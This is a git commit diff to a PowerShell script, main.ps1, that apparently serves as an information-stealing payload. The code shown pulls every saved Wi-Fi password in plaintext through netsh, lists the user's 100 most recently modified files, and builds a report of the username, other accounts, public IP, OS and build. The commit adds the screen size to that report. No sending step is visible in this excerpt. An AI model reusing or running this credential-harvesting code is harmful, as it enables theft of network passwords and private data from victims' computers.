Update main.ps1
This commit is contained in:
@@ -55,6 +55,8 @@ $outssid="";$a=0;$ws=(netsh wlan show profiles) -replace ".*:\s+";foreach($s in
|
||||
if($a -gt 1 -And $s -NotMatch " policy " -And $s -ne "User profiles" -And $s -NotMatch "-----" -And $s -NotMatch "<None>" -And $s.length -gt 5){$ssid=$s.Trim();if($s -Match ":"){$ssid=$s.Split(":")[1].Trim()}
|
||||
$pw=(netsh wlan show profiles name=$ssid key=clear);$pass="None";foreach($p in $pw){if($p -Match "Key Content"){$pass=$p.Split(":")[1].Trim();$outssid+="SSID: $ssid : Password: $pass`n"}}}$a++;}
|
||||
$RecentFiles = Get-ChildItem -Path $env:USERPROFILE -Recurse -File | Sort-Object LastWriteTime -Descending | Select-Object -First 100 FullName, LastWriteTime
|
||||
$Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen;$Width = $Screen.Width;$Height = $Screen.Height;$screensize = "${width} x ${height}"
|
||||
|
||||
$contents = "========================================================
|
||||
|
||||
Current User : $env:USERNAME
|
||||
@@ -65,6 +67,7 @@ Other Accounts : $users
|
||||
Public IP : $computerPubIP
|
||||
Current OS : $OSString
|
||||
Build : $ver
|
||||
Screen Size : $screensize
|
||||
Hardware Info
|
||||
--------------------------------------------------------
|
||||
$systemString"
|
||||
|
||||
Reference in New Issue
Block a user